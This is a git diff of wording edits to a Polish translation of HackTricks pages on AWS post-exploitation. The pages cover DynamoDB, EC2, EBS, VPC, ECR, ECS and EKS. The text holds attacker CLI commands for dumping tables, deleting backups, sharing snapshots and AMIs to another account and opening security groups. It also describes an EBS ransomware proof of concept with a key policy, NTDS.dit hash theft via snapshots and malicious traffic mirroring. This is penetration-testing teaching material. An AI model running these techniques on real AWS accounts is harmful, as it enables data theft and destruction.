-Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS i następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
+Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS, a następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status załączenia i typ wolumenu.
`aws ec2 describe-volumes`
-Następnie zostanie utworzona polityka cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowane zostaną również konkretne tagi do migawek oraz skopiowane tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
+Następnie stworzy się politykę cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowano również konkretne tagi do migawek i skopiowano tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index a112cb684..0d7cffae0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### `dynamodb:BatchGetItem`
-Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz to uzyskać, pobierając metadane tabeli (`describe-table`).
+Atakujący z tymi uprawnieniami będzie w stanie **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
-**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem podania klucza głównego wpisu do pobrania:
+**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
-**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia to użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.
+**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.
{{#tabs }}
{{#tab name="json file" }}
@@ -124,7 +124,7 @@ Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
-To uprawnienie pozwala również na wykonanie `batch-execute-statement` jak:
+To uprawnienie pozwala również na wykonanie `batch-execute-statement`, takie jak:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
-To uprawnienie pozwala użytkownikom **modyfikować istniejące atrybuty przedmiotu lub dodawać nowe atrybuty do przedmiotu**. Nie **zastępuje** całego przedmiotu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy przedmiot** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
+To uprawnienie pozwala użytkownikom na **modyfikację istniejących atrybutów przedmiotu lub dodawanie nowych atrybutów do przedmiotu**. Nie **zastępuje** całego przedmiotu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy przedmiot** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -256,20 +256,20 @@ aws dynamodb delete-table \
### `dynamodb:DeleteBackup`
-Napastnik z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w przypadku scenariusza odzyskiwania po awarii**.
+Atakujący z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w przypadku scenariusza odzyskiwania po awarii**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
--region
```
-**Potencjalny wpływ**: Utrata danych i niemożność ich odzyskania z kopii zapasowej w scenariuszu odzyskiwania po awarii.
+**Potencjalny wpływ**: Utrata danych i niemożność odzyskania ich z kopii zapasowej w scenariuszu odzyskiwania po awarii.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Przetestować, czy to rzeczywiście działa
-Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
+Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć strumieniowanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
1. Włącz strumień na tabeli DynamoDB:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index ef0b9e8af..81be94ee8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,8 +1,8 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM i VPC Po Eksploatacji
{{#include ../../../../banners/hacktricks-training.md}}
-## EC2 & VPC
+## EC2 i VPC
Aby uzyskać więcej informacji, sprawdź:
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### **Złośliwe lustrzane VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Złośliwe Lustro VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-Lustrzane odbicie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\
+Lustrowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\
Napastnik mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania wrażliwych informacji:
Aby uzyskać więcej informacji, sprawdź tę stronę:
@@ -21,7 +21,7 @@ Aby uzyskać więcej informacji, sprawdź tę stronę:
aws-malicious-vpc-mirror.md
{{#endref}}
-### Kopiowanie działającej instancji
+### Kopiowanie Działającej Instancji
Instancje zazwyczaj zawierają jakiś rodzaj wrażliwych informacji. Istnieją różne sposoby, aby się do nich dostać (sprawdź [sztuczki eskalacji uprawnień EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Jednak innym sposobem na sprawdzenie, co zawierają, jest **utworzenie AMI i uruchomienie nowej instancji (nawet na swoim własnym koncie) z niej**:
```shell
@@ -70,7 +70,7 @@ Nawet jeśli zablokujesz EC2, aby żaden ruch nie mógł się wydostać, nadal m
#### Exfiltration via API calls
-Napastnik mógłby wywołać punkty końcowe API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a napastnik będzie mógł zobaczyć wykradzione dane w logach Cloudtrail.
+Atakujący może wywołać punkty końcowe API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć wykradzione dane w logach Cloudtrail.
### Open Security Group
@@ -81,7 +81,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por
```
### Privesc do ECS
-Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS.
+Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchamiania instancji ECS, a następnie kradzież danych instancji ECS.
Dla [**więcej informacji sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
@@ -123,7 +123,7 @@ Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz
Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby przełączyć się na dowolną inną usługę AWS lub niestandardową aplikację.
-### Udostępnij AMI
+### Share AMI
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach po eksploatacji S3. KMS powinno być nazwane RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest go używać do szyfrowania różnych usług AWS.
+Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinno być przemianowane na RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest używać go do szyfrowania różnych usług AWS.
-Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny podmiot AWS. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'
+Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny AWS account Principal. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'.
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KM
]
}
```
-Polityka klucza wymaga włączenia następujących uprawnień, aby umożliwić jego użycie do szyfrowania woluminu EBS:
+Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić użycie go do szyfrowania woluminu EBS:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -324,15 +324,15 @@ Następnie wróć do polityki klucza w koncie 'atakującego' i usuń regułę po
]
}
```
-Czekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie wróć do konta 'ofiary' i spróbuj podłączyć jedną z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz podłączyć wolumin.
+Poczekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie wróć do konta 'ofiary' i spróbuj podłączyć jedną z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz podłączyć wolumin.
 
-Jednak gdy spróbujesz rzeczywiście uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie ze stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
+Jednak gdy spróbujesz faktycznie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
 
-To jest skrypt w Pythonie używany do tego celu. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich pierwotnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.
+To jest skrypt w Pythonie, który jest używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich oryginalnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index b465e2e9b..13a6e2d06 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -63,7 +63,7 @@ Aby móc wykonać tę akcję, wykonaj następujące polecenia:
- Utwórz wolumin EBS do podłączenia do instancji EC2.
- Upewnij się, że wolumin EBS i instancja są w tej samej strefie.
-Krok 2: Należy wybrać opcję "dołącz wolumin" klikając prawym przyciskiem myszy na utworzonym woluminie.
+Krok 2: Należy wybrać opcję "dołącz wolumin" klikając prawym przyciskiem myszy na utworzonej woluminie.
Krok 3: Należy wybrać instancję z pola tekstowego instancji.
@@ -71,28 +71,28 @@ Aby móc wykonać tę akcję, użyj następującego polecenia:
- Dołącz wolumin EBS.
-Krok 4: Zaloguj się do instancji EC2 i wyświetl dostępne dyski używając polecenia `lsblk`.
+Krok 4: Zaloguj się do instancji EC2 i wyświetl dostępne dyski, używając polecenia `lsblk`.
-Krok 5: Sprawdź, czy wolumin ma jakieś dane używając polecenia `sudo file -s /dev/xvdf`.
+Krok 5: Sprawdź, czy wolumin ma jakieś dane, używając polecenia `sudo file -s /dev/xvdf`.
Jeśli wynik powyższego polecenia pokazuje "/dev/xvdf: data", oznacza to, że wolumin jest pusty.
-Krok 6: Sformatuj wolumin do systemu plików ext4 używając polecenia `sudo mkfs -t ext4 /dev/xvdf`. Alternatywnie, możesz również użyć formatu xfs używając polecenia `sudo mkfs -t xfs /dev/xvdf`. Należy pamiętać, że powinieneś użyć albo ext4, albo xfs.
+Krok 6: Sformatuj wolumin do systemu plików ext4, używając polecenia `sudo mkfs -t ext4 /dev/xvdf`. Alternatywnie, możesz również użyć formatu xfs, używając polecenia `sudo mkfs -t xfs /dev/xvdf`. Należy pamiętać, że powinieneś użyć albo ext4, albo xfs.
Krok 7: Utwórz katalog według własnego wyboru, aby zamontować nowy wolumin ext4. Na przykład, możesz użyć nazwy "newvolume".
Aby móc wykonać tę akcję, użyj polecenia `sudo mkdir /newvolume`.
-Krok 8: Zamontuj wolumin w katalogu "newvolume" używając polecenia `sudo mount /dev/xvdf /newvolume/`.
+Krok 8: Zamontuj wolumin w katalogu "newvolume", używając polecenia `sudo mount /dev/xvdf /newvolume/`.
Krok 9: Zmień katalog na katalog "newvolume" i sprawdź przestrzeń dyskową, aby zweryfikować montaż woluminu.
Aby móc wykonać tę akcję, użyj następujących poleceń:
- Zmień katalog na `/newvolume`.
-- Sprawdź przestrzeń dyskową używając polecenia `df -h .`. Wynik tego polecenia powinien pokazać wolną przestrzeń w katalogu "newvolume".
+- Sprawdź przestrzeń dyskową, używając polecenia `df -h .`. Wynik tego polecenia powinien pokazać wolną przestrzeń w katalogu "newvolume".
-Możesz to zrobić z Pacu używając modułu `ebs__explore_snapshots`.
+Możesz to zrobić z Pacu, używając modułu `ebs__explore_snapshots`.
## Sprawdzanie migawki w AWS (używając cli)
```bash
@@ -122,9 +122,9 @@ ls /mnt
```
## Shadow Copy
-Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz rejestr SYSTEM** do użycia z projektem secretsdump Impacket.
+Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
-Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
+Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
## References
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index a3616f8a9..00b2e3e01 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,12 +1,12 @@
-# AWS - Malicious VPC Mirror
+# AWS - Złośliwe Lustro VPC
{{#include ../../../../banners/hacktricks-training.md}}
**Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów na temat ataku!**
-Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja o nazwie “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów (IDS) w celu **analizy**.
+Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja zwana “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów w sieci (IDS) w celu **analizy**.
-Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwany tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty.
+Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwane tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty.
**Wpływ** złośliwego mirroringu ruchu VPC może być znaczący, ponieważ pozwala atakującym na dostęp do **wrażliwych informacji** przesyłanych w VPC. **Prawdopodobieństwo** takiego złośliwego mirroringu jest wysokie, biorąc pod uwagę obecność **ruchu w postaci czystego tekstu** przepływającego przez VPC. Wiele firm używa protokołów w postaci czystego tekstu w swoich sieciach wewnętrznych z powodów **wydajnościowych**, zakładając, że tradycyjne ataki typu man-in-the-middle nie są możliwe.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index c7654e006..f01a1489a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - ECR Post Exploitation
+# AWS - ECR Po Eksploatacji
{{#include ../../../banners/hacktricks-training.md}}
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-Atakujący z dowolnym z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
+Atakujący z dowolnymi z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
```bash
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index d3ccb5b91..2f798d5ba 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -33,7 +33,7 @@ Ponadto, **rola instancji EC2** zazwyczaj będzie miała wystarczające **uprawn
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-Ta sama technika może być wykonana przez **wyrejestrowanie instancji EC2 z klastra**. To jest potencjalnie mniej ukryte, ale **wymusi uruchomienie zadań na innych instancjach:**
+Ta sama technika może być zastosowana poprzez **wyrejestrowanie instancji EC2 z klastra**. To jest potencjalnie mniej dyskretne, ale **wymusi uruchomienie zadań na innych instancjach:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
```
### Kradnij wrażliwe informacje z kontenerów ECR
-Instancja EC2 prawdopodobnie będzie miała również uprawnienie `ecr:GetAuthorizationToken`, co pozwoli jej na **pobieranie obrazów** (możesz szukać w nich wrażliwych informacji).
+Instancja EC2 prawdopodobnie będzie miała również uprawnienie `ecr:GetAuthorizationToken`, co pozwala na **pobieranie obrazów** (możesz szukać w nich wrażliwych informacji).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index b0d9b77ba..26f826294 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - EFS Post Exploitation
+# AWS - EFS Po Eksploatacji
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 52dcbdf36..1bae1ed5f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - EKS Post Exploitation
+# AWS - EKS Po Eksploatacji
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji, sprawdź
../aws-services/aws-eks-enum.md
{{#endref}}
-### Enumeracja klastra z konsoli AWS
+### Wyliczanie klastra z konsoli AWS
Jeśli masz uprawnienia **`eks:AccessKubernetesApi`**, możesz **wyświetlać obiekty Kubernetes** za pośrednictwem konsoli AWS EKS ([Dowiedz się więcej](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
```
